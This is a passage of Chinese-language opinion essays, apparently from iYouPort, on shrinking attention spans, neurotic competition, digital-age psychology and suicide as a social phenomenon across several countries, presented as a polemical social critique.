简单说，我们被超载了。

“在集体思想中，分配的注意力是有一定规模的，并非无限，但是如今争夺关注的文化项目已经变得如此的密集。结果就是如你所见，任何新闻都无法真正保持吸引力 [不管是有价值的还是没有价值的] ”，Sune Lehmann 教授说。

有趣的是，在注意力减少这一领域的唯一例外似乎是维基百科和科学出版物。

虽然该项研究从整体上考虑了全球的注意力，但研究下个人注意力如何突破会很有趣。

根据 Lehmann 的说法; “研究数据仅支持集体关注范围正在缩小的说法。因此，作为下一步，研究这种现象对个体的影响将会很有意义，因为观察到的发展可能对个人评估他们的信息消费能力产生负面影响。

例如，信息周期加速增加了新闻记者跟上不断变化的新闻环境的压力。我们希望在这方面进行更多的研究，以便可以设计出新的通信系

统，目的是即使新主题以越来越高的速度出现，信息质量也不会受到影响。“

注：这不是一个新话题。我们在多年前曾多次研究过信息超载的影响，详见类目“互联网时代/媒介效应”。

⚠这一问题所导致的结果并非注意力萎缩这么表面。而是，要理解到，互联网很可能不再是能够动员人们行动起来实现现实变革的有力工具；并且，更重要的是，处于这种环境生态下的人是最容易被操作的人，详见《看不见的独裁》。

回归“慢新闻”的设想最近一两年内的支持率正在稳步高升，其原因与相关问题被大众所了解不无关系（在这里看到《引流暴政和生存困惑》）。但不一定只能走回头路才可以解决这个问题，如果能在不影响前进的前提下改善当下的状况，其结果也许会更好。

Global Attention Spans Are Shrinking Amid Deluge Of Information

原文

百忧解时代（一）变质的竞争和时代性焦虑 - iYouPort

你如何正在被互联网所改变-媒介效应

竞争的内容只剩下征服、作弊、和呼风唤雨。责备失败者甚至成为了游戏的一部分：不懂得如何征服、作弊和呼风唤雨，所以你有罪，你将接受苟延残喘和紧衣缩食的酷刑。

「图」

「图」

焦虑正直线上升，做为推动和维系神经症运作的马达，它正在大量滋生时代性心理异常。数据显示，重度抑郁症流行程度比50年前高出10倍，这还是在有记录的范围内的观察。15～24岁的年轻人自杀率在欧洲高达近20%。人们用抗抑郁药物、滥交、甚至毒品来缓解压力，这些都早已不是新闻。美国发现，1999年至2015年期间，处方阿片类药物的销售额翻了四倍……

饱受折磨的失意者常为自己在社会竞争中屡战屡败、在具有外界刺激的环境中无法及时调动自身能量做出反应，而感到羞耻。最常见的结局有两种：要么变成祥林嫂，要么变成一个比恶棍还要恶的恶棍，怨恨和不满被无限放大后凝聚成了攻击性，媒体的社会板块挤满了伤人或者自残事件，更多的是同时发生。

对于西方国家来说，持枪权并不是杀戮事件的根源，根源在于变态的竞争和滋生它的没有安全感的社会。控枪不过是百忧解之术，并没有治愈能力，唯求一叶障目的短视策略。在中国，事情变得很简单了，官方一句“精神病”，便无人再问。于是一切继续高发着。

竞争的内容只剩下征服、作弊、和呼风唤雨。责备失败者甚至成为了游戏的一部分：不懂得如何征服、作弊和呼风唤雨，所以你有罪，你将接受苟延残喘和紧衣缩食的酷刑。

人们不断讨论的“世风日下”已经变成了肤浅的讽刺和自嘲。然而必需知道，道德伦理始终是以他者为稳定性基础的，道德伦理行为必然地带来一种团结感，是个体感到自己从属于于一个集体、意识到区域领土的存在、沉浸在集体的命运之中。

但当神经症竞争成为社会关系的主要形式时，对他者的感知与实体便分离开了，变成了某种完全可操作的功能性存在。

本文是接下来的几篇文章的一个主体背景分析。如果您能理解为什么富士康的工人纷纷自杀却没能联手反抗，那么就很容易明白，为什么社交媒体中的社交难以实现现实中的组织动员。

「图」

「图」

变味儿的竞争

现代文化在经济上是基于个人竞争法则的。孤立的个体不得不与其他个体或者一群人展开竞争，你还活在这个氛围内就不可能出局。一个人的优势往往正是别人的劣势，这种情况所造成的心理后果就是个体间存在一种弥散性的敌意。每个人都是另一个人真实或潜在的竞争对手。

不管是追求公平合理还是努力伪装得礼貌体贴，竞争以及与其相伴的潜在敌意已经扩散到了整个人类关系中。

竞争是社会关系中的一个主导性因素，不管竞争的目标是名气、能力、魅力还是其他社会价值，都会极大地损害稳靠友谊的可能性。正如已经被很多揭示过的那样，它还扰乱了男性与女性的关系，不仅在选择伴侣上、也在整个优势地位的斗争之中。个体间的潜在敌意会不断激发恐惧 ——害怕他人的潜在敌意，又由于害怕他人的报复而得以加强。

其实，竞争原本可以作为另一种协作方式而存在，当然这是最理想的结果，但在无限的个人表达欲望的催使下，误解和偏执已经根深蒂固。时代性神经症的表现就是被卡在“加入还是退出”的两极化思维中。

对于正常人来说，一个恐惧的重要来源就是失败的可能性。害怕失败是一个现实来源，首先是因为失败的概率通常远大于成功的概率，还

因为在一个竞争社会中失败会导致实际需要的挫折，包括经济保障、声望损失和情感挫折。

成功之所以令人着迷一个原因是它影响我们的自尊。不仅他人会根据我们的成功程度来评判我们，甚至我们的自我评价也会遵循着同样的模式。根据既定的思想意识，某人之所以成功是由于其内在的优点，或用宗教术语说是上帝恩惠的明显证据；但事实上，成功取决于诸多不可控的因素 ——机遇、手段，诸如此类。然而在既定思想意识的压力下，即使是最健康的人也会情不自禁地在获得成功时感到欢欣鼓舞，而若遭遇了失败则自感一文不值。这说明自尊的基础并不是始终稳固的。

数字时代里，人们对成功的追求已经到了一种近乎变态的程度，恨不得把自己拥有的一切、甚至伪装出的一切，全挂在脸上，生怕别人不知道自己有多牛逼。我在最初使用社交媒体的几年内，完全没搞懂为什么人们死盯着粉丝量互相攀比。我的朋友直到现在不明白某些“没必要的高调”，甚至不惜连累他人的姿态式表达，究竟图的是什么。

粉丝量就像一个价值标签，似乎在标榜某个ID的影响力方面超越了其真实的学识和智商。人们真的会倾向于大V说话都是真理，草根账号不可信，这种类似于“颜值即正义”的诡异逻辑。在这一程度上，那些卖僵尸粉、声称“AI能模拟真人转发”的小广告，就是对这个时代最大的讽刺。

「图」

「图」

突变中的大脑 破碎的时间

信息科技的流行使得不稳定性大举扩散。当商品生产被转换为信息形式，当网络机器一刻不停地从社会生活与智力行为的汪洋大海中挑选出信息时间的碎片进行重组，每个人的每一天中所有碎片时间都被剥削了，完整的生命时间随之贬值，不稳定性便侵入了社会生活的每一个角落，穿透人们的每一份期望和每一丝情绪。个体随着时间感被碎片化、撕裂和不规则的安置而变得茫然无助。

这就是当下时代的人类生活。一般智力很可能将永久性地被数字矩阵编码转变为网络蜂群，不仅精神的无意识领域已然被扰乱，神经系统本身的组织结构也在经历一个动乱过程而趋向前所未有的改变。

随着一次又一次的政治变动，人们已经纷纷意识到了在此过程中“千禧一代”表现出的“异样”行事风格和思维模式，但少有分析者认识到这代人是跟着互联网长大的这个关键问题，他们从数字矩阵中习得的东西，远超过本应从父母那里获取的习得。这是与他们的父辈祖辈全然相反的认知成长环境。

与移情对象的关系的崩塌，人际过程中共出发点的持续减少，正愈发成为数字时代人类心理状态的普遍特点。正在发生的大脑突变可以形容为为了应对周遭混乱的信息脉冲达成稳定平和需求而付出的痉挛过程。

时代病

不客气地说，这一时代文化本质上就属于神经症文化，神经症的特点是存在某些不可调和的内在矛盾，而当下的时代文化中同样存在类似的东西。

一边是竞争和成功，另一边是兄弟情义和谦逊。一方面所有事情都在鞭策你去成功，这意味着你需要进取、独断、挤压别人；而另一方面传统文化和宗教信仰在告诉你应该谦卑、宽容、让步。这种矛盾正常范围内只有两个解决途径，要么你能做到忽略其中之一，或者两个都重视，结果就是个体在两方面都遭到严重抑制。

更为普遍的刺激是来自宣传的，那些变态的宣传你不仅很可能扛不住，甚至躲都躲不开。最普遍就如炫耀性消费、攀比理念，简直是不发财毋宁死。但现实满足对于大多数人来说都存在严格的限制，富裕阶层永远都是极少数，于是对于个人来说，其心理后果就是他的愿望和愿望的实现之间始终隔着几个太平洋。投机主义崛起、坑蒙拐骗盛行，相比下红包求转发、雇水军点赞刷量，这些简直不值一提，连三岁孩子都懂“杀熟”是什么意思的时候，想要交上知心朋友，的确有些难度了。

时代文化已经对正常人造成了严重困扰——不稳固的自尊、敌意、忧虑、变态的竞争局面，其后果更为严重——粉碎性的自尊、作为自杀前兆的严重无价值感、破坏性的冲动等等，尤其是对爱和认同的偏执型渴求。

「图」

「图」

夹缝中的野心

神经症式的竞争不同于一般意义上的竞争，神经症患者始终在同别人较量、不断的攀比，哪怕是在不存在竞争诉求的情境下也一样。对于谁更聪明、更有魅力、更受欢迎等这些没什么结论的疑问，他们会全部不加区分的运用到每一个身上。他们在乎的只有一件事：领先、压倒别人。

另一种相反的表现是，他们不会承认自己怀有不切实际的野心，也就是掩饰和压抑自己，但又时不时的被自己过高的志向所牵引，而这些志向完全没能化作努力，没有脚踏实地的进步，因为他们期待的是立竿见影、短期内就显效，于是只能停留在不断抱怨、泄气和失望中，不断的放弃。

野心不是坏事，它能变成动力助你马不停蹄，但如果你对所有感兴趣的领域都抱有野心，那就无法专注于一个领域而坚持不懈的追求，最终一无所获，自己的真实才华都会付之东流。

在个人主义文化中存在着很多颇具破坏性的竞争，以至于作为一种孤立的现象人们会否定自己带有敌意。这几乎成了一种文化模式，你经常能看到一群人在热络的交流，但他们却无法联手做成一件事，因为他们是潜在的竞争对手，而不是同盟。

他们之间无法通过切实地探讨取长补短，无法从周边人身上吸取经验，无法为了一个共同的目标互相协助，他们的关系需要建立在互利的基础上，这与政治立场、理念派系、价值观、信仰、性别等等外观上的差异，皆无根本性关系。

竞争的潜台词是“只有一个人能成功，必须是我”，于是它也可以理解为一种挫败他人的努力，表现在很多人际关系中，从家庭在社会。

时至今日，人们已经有了一定程度上的网络生活经验，应该已经发现，线上声援和线下行动的比例是不匹配的，往往差距悬殊，预期中伟大的**O2O**动员模式似乎难度极高。这不完全是信息接收的问题，虽然有**GFW**的存在，更多是粉丝经济问题。粉丝经济让社交网络生态变成了竞技场，人与人之间是竞争关系，竞争关系虚弱了合作能力，而且这种竞争是神经症式竞争 —— 网络平台同时具有舞台效应，一个表演者为了什么而存在？观众。每个人都是其他人的观众，也同时是所有人的演员，这便把个体卡在一个神经症式的夹缝状态中：一边是被爱的渴求，一边是赢过他人的欲望。

神经症患者很害怕被治愈，他们会想尽一切办法挫败治疗师的干涉，即便是偶尔倾诉，而只是完全处在一种抱怨的情绪下，“都是你们的错，我变成这样都是你们害的”，把他人的成功和自己的失败都归于外界因素。其实这类状况很常见，许多优先权竞争都基于这种心理。

而恰恰因为这种心理的存在，神经症患者所遭遇的难题和尴尬比正常人要多很多，困难反过来加强挫败感，挫败感带来更为严重的焦虑。而为了逃避焦虑，他们采取的办法特别有趣，最典型的就是极端化，把一切都极端化处理，对自己所爱的就声称拿生命交换、对自己所恨的就表示要千刀万剐。人生就如同一种充满戏剧色彩的表演。

决不是说所有追求成功的人都有神经症，不要误会，包括那些冷酷无情地猎取成功的人，与神经症竞争都有很大差异。冷酷无情地猎取成功的人并不在意他人的爱，既不需要也不期待从他人那里得到任何东西，既不会施予帮助也不会有任何形式的慷慨行为。他知道可以仅凭自己的实力和努力获得他想要的。当然他也会利用别人，但他关心的是他们的有益见解，这些见解的好只限于是否有助于他达成自己的目标。爱本身的价值对他来说一钱不值。他的渴望和防御都有一个固定的指向：权力、威望和财富。

神经症患者追寻的是两条互相背离的路 ：积极争取 “唯吾独尊 ”的统治地位；同时过度渴望被每一个人爱。这种夹在野心和爱之间的困境是神经症的中心冲突之一。神经症患者之所以害怕自己的野心和要求，之所以一点儿也不想意识到它们、约束或彻底逃避它们，主要是因为他害怕失去爱。换言之，神经症患者之所以约束竞争 ，并不是因为他有格外严格的 “超我要求 ”才极力压抑住了这种进取，而是因为他发现自己进退维谷，夹在两种同样至关重要的需要当中 ：他的野心和他对爱的渴求。

很多自嘲也许并不是反讽。对于压抑进取来说，妄自菲薄很典型，可能是一种有意识的策略。神经症患者对于自己的妄自菲薄倾向只有一种隐隐约约的概念，如果他做得好，就会真诚相信别人做得比自己还要好，或者自己的成功只是巧合。或者他已经做得很好了，还要鸡蛋里挑骨头以此贬低自己的成就。这类患者不只是表面上认为自己低人一等，内心深处也对此坚信不疑。尽管他抱怨自己劣等以及由此带来的痛苦，但他完全不接受任何反驳的证据。〇

——未完待续——

“百忧解时代” 系列：

- 《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》
- 《百忧解时代（三）令人沉迷的广义化自杀》

原文

百忧解时代（三）令人沉迷的广义化自杀 - iYouPort

你如何正在被互联网所改变-媒介效应

妄想症“清楚地知道”，相互呼应的证据表明一切都着实连接在一起，社会的灵魂与权力，一粒小小的白色药片，一段狂野的故事...

「图」

「图」

21世纪头20年里，一个关键字尤其醒目的，那就是：自杀。出于某种理由，自杀愈发被认作是受压迫者唯一有效的行为，唯有通过这种途径方能摆脱焦虑、压抑和无助的状态。

自杀不再是人们不愿正视的精神病理学的边缘化表现，而正在变成这个时代政治历史的主要代言人，也为理解这一时代提供了一个重要的视角。

世卫组织的数字指，在过去的45年内，全球自杀率增长了60%，但官方收集到的自杀数据并不包括自杀未遂，而其发生率是成功自杀的20倍。更何况，很多国家并没有可靠的统计数字，比如中国，所谓的负面新闻被掩盖得严严实实。

并且更重要的是，事实上“自杀”这个词在当下具有了最广义的概念。你也许还并不了解。

「图」

「图」

中国：末世论的慢性自杀

“大洪水”的论调又来了。这次和黄巾军、红巾军、白莲教、太平天国

的末世论好像不太一样，它带来的极少是恐惧，也没有群体反抗，更多的是兴奋，甚至拍手称快。

刘仲敬赢了，有评者曰“硕帝千里建国，阿姨万言兴邦”。

刘仲敬认为中国即将进入社会解构的状态，将其称为“大洪水”，他称大洪水将会是渐进式的发生，其原因在于中共采取的列宁主义，让中共像蝗虫一样的破坏了社会赖以自保的各种条件。他还认为，东亚部分甚至大部分“伊斯兰化”，现在已经无法逆转，因为“组织真空已经形成，必然会吸引外来秩序”；他还预言“国际纵队一路冲到连云港，比打进阿勒颇容易多了……

早已有各方指责刘仲敬的历史学漏洞百出，本文无心考证，但必须承认的是，他在中国社会心理学实践方面的造诣的确不浅，至少在大洪水论上他完成了优秀的两头儿堵。首先他占稳了反威权立场，在“非友即敌”的二歧化中国社会思维模式中，他的基础立场赢得了广泛的认同，而另一个角度上就是，批评他的人的立场便会被理解为敌方的簇拥。队形格外整齐。

其次，他掌握了社会心理基础，这是更为关键的。人们的焦躁、无奈、冲动和无助早已冰冻三尺，末世论大可信马由缰踏过所有虚无主义者的心灵。当人的郁闷上升到高点的时候，他们就会希望毁灭一切，“重新洗牌”，拉他人垫背死而无憾。也和流行多年之久的“核平支那”论异曲同工。

这是欧洲朋友永远无法理解的东西，他们问：人们为什么不反抗，而是期待速死、甚至毁灭自己的同胞？就如同他们不理解为什么中国人对其他所有国家都持有一种“梦幻乌托邦”的想象。这是绝望，是消极和颓废之菌的培养基。

它也是一种慢性自杀。末世论的流行意味着人们已经无心改变现状，进入了一种原始的被动求生模式：战斗–逃跑–僵住不动。僵住不动就是等待末世来临的态度，破罐破摔；逃跑就是移民潮，华裔移民突增的状况已经引起了联合国难民署的关注，娴熟把玩各国移民法的律师们从中国人身上发了横财；大多数人还是走不掉的，于是厚积薄发的焦躁就变成了自残自杀和随机杀戮的引擎。但这能叫战斗吗？敌人究竟是谁呢。

信仰末世论的人处于一种安逸的状态，就像百忧解的效用——结论有了、烦恼没了，剩下的只有等待，明天再吃一片，续上这个感觉。如果这一人群占据足够大的数量，覆盖社会的大多数领域，那么不久后

将会看到的就是自证预言效应（Self-fulfilling prophecy）：心态指导了行为、行为决定了命运。

心境的沙漠化、情感的虚拟化、对影自怜的悲情化，同时发生，给人们带来的是难以抵挡的巨大孤独感和绝望。“丧”字成为了当下的中国社会表情。

丧文化的流行陈酿已久，这般消极虚无的陈述凝聚成亚文化热潮的同时恰逢大洪水论来临，他们相辅相成了。“丧”字从未像今天一样深入人心，马男、悲伤蛙、懒蛋蛋、咸鱼等一系列衍生品仿佛一夜间蜂拥而至，它们一个个就像破沙发上的葛优躺，满脸的生无可恋，在社交网络上病毒般的扩散。

它就如同一剂僵尸药，把人们变成了行尸走肉，剩下的只有逐渐腐烂和漫长的空无。称其“反鸡汤营销”的媒体着实误解了它。相比下，热衷于推背图的人似乎还显得积极很多呢，至少他们的心里还存有未来二字。

「图」

「图」

富士康：孤独的僵尸

> “或许对于我们这样的富士康雇员来说，死亡不过是证明我们毕竟还活过一场的，而当我们还活着的时候，我们拥有的只是绝望” —— 第12名自杀者在跳楼之前写下了这样一段话。

海地的奴隶们认为，自杀是摆脱被殖民的唯一出路，是掌控自身的唯一做法，他们相信自己会变成永远不死的僵尸，从而回归家园……僵尸文化在当代西方影视文学作品中再度焕发活力似乎并不是那么难以理解的事。

富士康因施行军事化劳动纪律而臭名昭著，员工自杀事件被媒体报道出来的就有近30人，一度长期占据舆论焦点，抗议者围堵在香港股东大会门外，手持标语高呼“工人不是机器”。

郭台铭采取了一系列措施防堵惨剧的持续：在宿舍楼外墙安装了300平方米的巨网、厂内设立心理维稳中心、提高工资、要求新来的应聘者签署不自杀承诺书……

但。某日，富士康的几位年轻工人更改了计划，他们没有选择跳楼、也没有上吊、自焚，他们弄到了爆炸物质把自己变成了人体炸弹，放火烧了富士康的几栋建筑，也烧毁了他们亲手制作的产品。

有人会疑惑，工人们为什么不能广泛的联手反抗资本家制造的压力和欺辱？为了求生拼上一把？其实很简单，资本家首先安置下了丛林式竞争的生态，每个人都在为薪水而被迫奋斗，勒索是以个人主义为燃料的，而个人主义又自动反过来破坏合作。团体意识已经被消融，个体孤独的面对着无尽头的剥削和压抑，失败的耻辱感、被他人赶超而变成多余人的威胁感，随之而来的便是负罪感、焦虑，以及彼此无法团结的互相怨憎。

郭台铭式的资本家们搭建的是群体性抑郁的重负。

异曲同工的是法国电信的惊人死亡率，被公开的数据是两年内35%的员工自杀，许多死者留下遗书，抱怨工作压力、心理暴力和所遭受的各种屈辱。其企业高管居然就此辩称：“35%这个数字是低于法国社会平均自杀率的”……

然而，自杀并不是真正的丑事，丑事在于自杀事件发生后的一切。发生了什么？什么都没有发生，活着的人继续回到工作岗位上，战战兢兢，深埋了羞辱，继续着孤立无援。

孤独感和对同事的漠不关心，既是集体行为匮竭的原因，也是后果。在抑郁、绝望、不断增长的企业收益所构成的完美纳什均衡中，自杀成为了唯一合理的解决办法。

「图」

「图」

日本：成为自杀变体的蛰居

2010年的统计数字显示，有超过70万名平均年龄为31岁的日本国民决定切段与外界的联系，自此生活在自己上了锁的房门背后。他们表现为长期回避社会生活、绝大部分时间都留在家中、有严重的社交障碍、工作学习能力低下，他们普遍感觉这种避世是自我融洽的。

日本卫生部的报告称，还有另外大约155万日本国民正逐渐成为蛰居族（引きこもり）的一员。

这是一种自杀的变体，它没有强烈的戏剧性和终极意味，但社会性清

零了，存在的定义被改写。他们无不表现出与当下社会环境格格不入的自我感知，他们意识到唯有摆脱日常生活的程序，方能维护个人自治。曾经有精神病学家尝试用孤独症或阿斯帕格综合症来解释这种现象，然而却失败了，这些人并没有明显的精神心理问题。

如果考虑到日本社会生活对个体施加压力的沉重，似乎蛰居的普遍性也就不那么令人吃惊了。在日本，加班是一直流行的亚文化，日本人平均一年的工作时间累计超过2000个小时，是全世界过度工作最严重的国家之一。根据官方数据，日本每年至少有200人死于过劳死，而劳工组织认为未报告的实际数字高得多。过劳死引发的索赔案件逐年增加，2015年达到创纪录的1456起。

意大利：财富面前痴狂的自杀

意大利南部塔兰托城的癌症发病率比该国平均水平高出30%，其中胃癌、肺癌和肝癌的发病率还要更高。医学研究显示，周边工厂的污染严重损害了当地人的健康状态。

近年来，由于钢铁厂的生产活动加强，塔兰托的环境问题不断加剧，市议会责令禁止儿童在未铺砌路段玩耍。2008年，一位当地农民发现自己养的两千头牛均遭受了二刲英污染后，不得不将它们全部宰杀。

2012年，司法部在调查后决定停止工厂的部分生产，然而这一措施却遭到了群体的暴力反抗！工人及其家属担心因此失去自己的财产，他们要求同时享有工资和干净的空气。

经过持续数月的辩论、罢工示威和各种冲突之后，意大利政府最终决定，无视法院禁令，工厂继续运作。

某政府政治经济学家对此表示：“在现在这样的经济危机中，关闭里瓦工厂就相当于帮了德国法国钢铁制造商的大忙，一直以来咱们的国际竞争者不就是指望着我们关闭工厂来获益吗？”他发表这番演说的演播室距离喷着毒雾的烟囱只有不到600英里。

一位来自塔兰托的女士对着记者的话筒坚定地说：“得癌症死掉也总比饿死的好吧”。

「图」

「图」

印度：孟山都的自杀经济

过去20年内，印度农民的自杀率再创新高。国家犯罪记录局2009年的数据显示，1997～2009年间，有21.6万农民自杀，如果加上1995年、1996年和2010年，总共自杀人数超过25万人。危重地区平均每天就有十个人自杀。

各方研究人士不断分析其中的问题，发现具体原因各异，但当自杀成为一种群体现象时，或许其中可以发现一些共通的基本动机。

调查指出，大多数农民使用的自杀工具是孟山都公司提供给他们的杀虫剂，这似乎是一份阴冷的遗嘱，正在谴责该公司的行径。一位死者家属对媒体说，她的丈夫买了孟山都的bt种子，但两次种植都失败了，她丈夫变得抑郁颓废，某天，躺在棉花堆上，他吞下了杀虫剂。

印度物理学家Vandana Shiva揭示了农民自杀的秘密：孟山都公司通过专利和制造不可再生性状来防止农民存种，由此来，贫苦的农民不得不每到播种季节就去购买新的种子。那些原本另外存放一小部分作物就能获得的免费资源，现在变成了商品。新的开销加剧了农民的贫困状态，带来了更多的债务……孟山都的转基因种子开创了自杀经济。

「图」

「图」

美国：华尔街跳楼的百万富翁们

> 晚上9点，12小时的忙碌结束后，38岁的百万富翁John坐电梯来到办公楼的36层。过去一年中，他的客户在市场上蒙受了诸多损失，John变得愈加气馁，暴躁易怒，这个行业已经让他感觉体无全肤了……就在那一晚，他放弃了工作、也放弃了自己的妻儿老小，就这么从36层楼顶跳了下去。
>
> 第二天，华尔街一切如常。（奥尔登·勒布朗 《牛市思维》）

一直以来，银行交易都被认为是永不沉没的战舰，但仅仅2014年的第一个月内，华尔街就有11位银行主管选择结束了自己的生命。这一系列的自杀事件的主角居然是腰缠万贯的大佬，不由得别样意味深长。

殊不知这些顶着金融体系大名、从充满着痛苦和不平等的无数工厂中获利的人，自己却也承受着疲惫、崩溃和极度焦虑的折磨。

这是一个由竞争文化和意识形态塑造出来的环境，每个人都在无可避免地被绑架在与同行的较量中。这些银行家一直以来都在致力于对世界上的大多数人施加体系化的羞辱，而对他们自己来说，承受金融市场的风云变幻和管理失当所造成的损失，其实并没有什么大不了，但他们是在期望通过战胜同行来弥补前述所有损失的。

有人认为，一旦他们意识到身处道德真空中时，便是在自己体内挖出了一条张着血盆大口的深渊。也有人推测，银行家们的自杀可以被解读为权力无能的象征，他们意识到自己从中获利的机器并不为自己所控制，他们不过是这台机器的一个零件罢了。

2008年金融危机后，超级富翁们需要缴纳的税款持续增加，但巴菲特的秘书缴税35.8%，而他自己却只缴纳17.4%”。要想改变不公平的税制又是何等的艰难，因为整个体系的根基太稳固了，也是其得以立于不败之地的原因，但同时也是它无从变易的原因。

「图」

「图」

街头：让警方来协助自杀

> “在未来，每个人都有机会举世闻名15分钟” —— 美国艺术大师 Andy Warhorl，1987去世

美国社会枪击案频发，其中最受社会学关注的就是那些大屠杀形式的肆意伤人事件（running amok），指的是一种包含了难以自制的愤怒和重度抑郁的反社会行为。**running amok**来自马来语词汇，在原初语境中指的是一个本来没有表现出任何狂暴征兆的人，突然拿起来武器发疯般地残杀他人，最终了解自己。

他们的杀戮暴行所造成的死伤数量通常超过单次恐袭的平均数，他们大多是社会边缘人士，其中很多人似乎带着一种希望自己借此能“一举成名”的欲求。

相关案例数不胜数，仅举一例，2013年发生在华盛顿海军工厂、退伍老兵实施的枪杀事件。此案震惊白宫，奥巴马发表演讲时愤怒地称其为“懦夫之行”。

当年34岁的退伍兵Aaron Alexis一人枪杀了13条生命，另造成十余人受伤。案后亚历克西斯被警方射杀。

根据媒体资料，Alexis 2007年参加海军，之后升为海军航空电子下士，曾获颁得两枚勋章，信奉佛教、常打禅冥想，在部分朋友眼中他是个和善、沉静的人，人们不相信这样一个人会犯下如此罪行。

Alexis 似乎一直承受着心理问题的困扰，他的父亲称他有创伤后应激障碍（PTSD），罗德岛州警方在此前8月曾警告海军，亚历克西斯有疑似幻听的问题。

公开数据显示，**PTSD**折磨着高达**30%**的士兵，但与此同时心理协助措施却极其匮乏，在美国，每天有22名退伍军人自杀（《反恐战争缘何指向国内》卫报 2013年），他们中为数不少的人采取的就是这种：警方协助的自杀。

自杀并不容易。一个人坐在房间里，形影相吊，扣动扳机……这是何其的悲哀。对于有着某些精神状况的人来说，随机杀人显得更有吸引力，很快警察就会帮你了结自杀的心愿。

这是一个令人战栗的事实。

> 对于社会历史结构的心理体验的有意识坚持，可能会以一种类似妄想症的形式表达出来。妄想症“清楚地知道”，相互呼应的证据表明一切都着实连接在一起，社会的灵魂与权力，一粒小小的白色药片，一段狂野的故事……—— 杰姬·奥尔《慌张日记》

○□

“百忧解时代” 系列：

- 《百忧解时代（一）变质的竞争和时代性焦虑》
- 《百忧解时代（二）数字世界里焦躁的“新”人类》
- 《百忧解时代（三）令人沉迷的广义化自杀》

原文

百忧解时代（二）数字世界里焦躁的“新”人类 - iYouPort

你如何正在被互联网所改变-媒介效应

> “我从未想过要让这一切发生，它运作的太快了。我从没构想过这样一个世界，在这个圆圈中的所有成员都被迫执行命令，所有的统治、所有的生活组成同一个网络……曾经我们还可以选择退出，但现在不行了，“完成”已经是最后阶段，我们把所有人都锁在了圆圈里。这是极权主义的噩梦……”

上面这段话来自 Dave Eggers 在2013年写的一篇名为《圆圈》的小说，讽刺的是数字时代，关于人类注意力被捕获的故事：永不停息的沟通、强制性的友谊、以不断表达和分享的痴迷为核心的新需求系统。有些人认为这部小说不过是《1984》的模仿版，但 Dave Eggers 也的确在结尾部位也就是上面这段文字中，上升到了奥威尔没有达到的层次 —— 它展现出一种处于“完成”阶段的极权主义噩梦的超人类力量。

不间断注意力的圆圈，对注意力的捕获。

每一个人都对其他所有人保持着完美透明的圆圈，绝对力量和绝对无能的圆圈。

在这里下载这本书：https://t.me/iyouport/6722

「图」

「图」

百忧解时代

一直以来，人们喜欢使用精神病理学的词汇来描述经济现象，比如兴奋、抑郁、低潮、周而复始的波动等等，而数字时代，当大脑变成生产过程中进行生产的主要单位后，精神病理学就不再仅仅是个隐喻

了，它变成了切实影响经济周期的关键因素。

数字时代的最初，全球网络经济一片欢快，人们指望它能以无限增长的形式展开，就如同百忧解的幻觉，它并没有铲除焦虑，而是捂住了你的眼睛，让你感觉不到焦虑的存在。

网络大脑的效率增长的确是无限的，但作为认知工人的互联网人的大脑却是有限的：有限的注意力、有限的生理能量、有限的感性能力。尽管互联网使得信息处理的速度和形式出现了质的飞跃，但人类的接受能力和形式却没能做出相应的进步，信息工作者能够提供的注意力一直在不断减少，而直到刷粉刷量暴增、没红包不转发的现阶段，人们才注意“绑架者”已经从精彩内容本身变成了伪装的数字和共产党的GDP（微信红包）。

这是一种奇怪的状态，过度兴奋和唯恐错过什么而造成的紧张感并存的心理现象。就像一名患有焦躁症的患者，从90年代数字经济发展的欢快转眼进入了抑郁状态，集体注意力的超饱和在社会经济的抑郁崩塌中达到了极限。

> “只有当我们取得他们的注意的时候，我们才有希望去征服他们的心和灵魂”——*Eric Schmidt* 谷歌董事会执行主席

做为时代病的述情障碍

数字革命给人类的心智带来了惊天动地的变化。人类从机器中学到的词汇比从他们的母亲那儿学到的还要多，正是这种现状促进了一种新的感性心理的产生。社会学和心理学研究人士早已开始针对本时代大规律爆发的心理疾病进行了数不胜数的分析和论述，他们普遍发现，语言习得模式的改变在其中起到了值得高度重视的作用。

两个重点：1、语言学习和身体情感性体会的被分离；2、对他人的认识体验的虚拟化。前者对千禧一代尤其关键，后者对游戏玩家尤其透彻。

对于语言的双重性、以及语言符号中能指和所指之间的关系的深刻领会，根植于受到信任和依赖的他人，对个体来说就是母亲。而当这一过程被简化为人脑和机器的信息交互时，语言习得便脱离了只有身体接触才能产生的情感效应，与此相关的调整空间变得越来越小。

言语不再具有情感互动才能领会到的意义，意义不再根植于躯体互

动，交流互动不再依赖躯体间的情感关系，而仅仅被视作简单的信息交互，这无疑是一种折磨，人类的感知系统并不是这么设计的，心理变异会随之而来。

为了缓解这种折磨，人们创造了很多表情包，却几乎从来都用不好，它们似乎一开始就成为了某种调侃的存在，而不具有自我表达和互相体察的作用，因为人们的感性能力已经堕入了危境，这是唯一一种能使人对他人进行移情认知的工具。

功能是多样的。相比文字信息，语音信息给人感觉更加亲切，也更加方便。但数据显示，发送语音已被视作只有老年人或者销售和司机这样的人群才会做的事。

根据腾讯去年发布的一份报告，55 岁以上的人群每发出五条消息中就有一条是语音信息，而 21 岁以下用户每发送 10 条消息中才有一条是语音信息。这个数据很容易说明问题。年轻一代的脑回路与他们的父辈已截然不同，简短文字和碎片化情感交互就是他们本初的认知和感知模式，他们的习惯中并没有多少语言沟通的痕迹，而他们的长辈则仍在一定程度上保持着语言的习惯。

我经常会遇到这样的来访者，他们仿佛只是“找个人聊天”，而无需接收来自对方的任何信息，我的单方面移情就像一盆泼向旷野的水，没有任何着落。对方的前扣带回处于关闭状态。这样是无法进行心理协助的，如果能，那么对着树洞哭诉一场也照样能解决问题。

每个人都有天生的移情能力，它曾经帮助人类在不具备语言能力的婴儿阶段体察来自周围的信息，也是一生中人际关系构建的基础设施。有人说移情能力是一种天赋的情感，也有人说它是可以通过培养教导达成的一种心理状态，众所周知的某非人道的模拟实验曾经指出，如果将一个婴儿放在无人出没的房子里，只用机器给养，这个孩子很难生存下去。

死亡是夸张的，心理变异则是确实的。移情能力的匮乏会导致一种类似孤独症的倾向，社交发生障碍，而缺乏感性能力会表现为对他者存在的感知的迟钝。如果两者同时存在，则符合精神病学中的一个定义：述情障碍。

而这种现象似乎恰好呈现了当下时代生活不稳定的核心——社会主体的分崩离析、自我认知对时间的感知的碎裂。

处理信息和图像的认知性劳动工作者对这种不稳定性新规则的反应会

